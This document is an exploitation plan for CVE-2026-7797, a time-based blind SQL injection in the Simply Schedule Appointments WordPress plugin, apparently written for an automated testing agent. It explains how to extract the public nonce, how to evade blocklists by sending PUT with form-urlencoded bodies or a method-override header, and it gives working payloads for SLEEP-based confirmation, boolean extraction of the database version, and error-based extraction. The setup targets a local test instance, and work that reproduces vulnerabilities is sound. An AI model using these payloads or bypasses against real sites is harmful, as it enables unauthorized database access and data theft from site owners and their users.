Exploitation Research Plan: CVE-2026-7797

1. Vulnerability Summary

CVE-2026-7797 is an unauthenticated time-based blind SQL Injection vulnerability in the Simply Schedule Appointments (slug: simply-schedule-appointments) plugin for WordPress. The vulnerability exists in the handling of the append_where_sql parameter within the /appointments/bulk REST API endpoint. Due to insufficient escaping and a lack of preparation on the resulting SQL query, an attacker can append arbitrary SQL commands. Furthermore, the endpoint is protected by a "public nonce" meant for the booking widget, which is exposed to all visitors, and can be reached unauthenticated. A specific bypass involving the PUT method and application/x-www-form-urlencoded content type allows the request to evade typical security blocklists that monitor PHP superglobals.

2. Attack Vector Analysis

• Target Endpoint: /wp-json/ssa/v1/appointments/bulk (Namespace: ssa/v1, Route: /appointments/bulk).
• HTTP Method: PUT.
• Authentication: Unauthenticated (requires a valid public nonce).
• Vulnerable Parameter: append_where_sql.
• Content-Type Required: application/x-www-form-urlencoded.
• Preconditions: The plugin must be active. A public nonce must be retrieved from the frontend.

3. Code Flow

1. Entry Point: The REST API request is received at the /appointments/bulk endpoint. The route is likely registered in an internal REST controller (e.g., SSA_Appointments_REST_Controller, inferred).
2. Permission Check: The permission_callback for this route checks the X-WP-Nonce header or a nonce parameter. It incorrectly validates against a nonce generated for the public booking widget (action: ssa_api, inferred based on ssa.api.public_nonce).
3. Bypass Mechanism: By using PUT with application/x-www-form-urlencoded, the payload append_where_sql is not populated into the PHP $_POST superglobal. If a security filter (like a WAF or the plugin's own blocklist check) only inspects $_GET/$_POST, it will see nothing, while the WordPress REST API parses the body and provides the parameter to the controller.
4. Data Handling: The controller passes the request parameters to the underlying model (SSA_Appointment_Model).
5. SQL Sink: The parameters are eventually processed in SSA_Db_Model::query() (inferred parent of SSA_Appointment_Model). The append_where_sql string is concatenated directly onto a $wpdb->query() or $wpdb->get_results() call without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

The nonce is localized for the frontend booking widget. It is typically found in the global JavaScript object ssa.

1. Shortcode Identification: The plugin uses the shortcode [ssa_booking] to render the calendar.
2. Setup: Create a test page containing this shortcode to ensure the scripts are enqueued.
3. Extraction:
   • Navigate to the page with the [ssa_booking] shortcode.
   • Use browser_eval to extract the public nonce.
   • JavaScript Path: window.ssa?.api?.public_nonce

5. Exploitation Strategy

The goal is to trigger a time-based response to confirm SQL injection.

Step 1: Extract Nonce

Use the browser_navigate and browser_eval tools to visit the page with the booking shortcode and retrieve window.ssa.api.public_nonce.

Step 2: Perform Time-Based Injection

Construct a PUT request to the bulk appointments endpoint.

• URL: http://localhost:8080/wp-json/ssa/v1/appointments/bulk
• Method: PUT
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  

Step 3: Verify Extraction (Data Exfiltration)

To exfiltrate the database version:

append_where_sql=AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)

6. Test Data Setup

1. Install Plugin: Ensure simply-schedule-appointments (<= 1.6.11.8) is installed.
2. Create Appointment Type: The plugin might require at least one appointment type to exist for the underlying query to execute properly.
   • wp ssa create_appointment_type --title="Consultation" (inferred CLI command, otherwise use UI).
3. Create Public Page:

   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
   

7. Expected Results

• Control Request: A request with append_where_sql=AND 1=1 should return almost immediately (HTTP 200/400/404 depending on records found).
• Attack Request: A request with append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) should result in a response delay of approximately 5 seconds.

8. Verification Steps

After the HTTP request, verify the plugin's vulnerability status:

1. Check Version:

   wp plugin get simply-schedule-appointments --field=version
   

2. Monitor Database: If possible, check the MySQL general log to see the malformed query being executed:

   SELECT ... FROM wp_ssa_appointments WHERE ... AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
   

9. Alternative Approaches

• Method Variation: If PUT fails, try POST with the header X-HTTP-Method-Override: PUT.
• Parameter Variation: If append_where_sql is filtered, check if other parameters like order_by or group_by (inferred) are similarly vulnerable within the bulk endpoint.
• Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the REST response:

  append_where_sql=AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)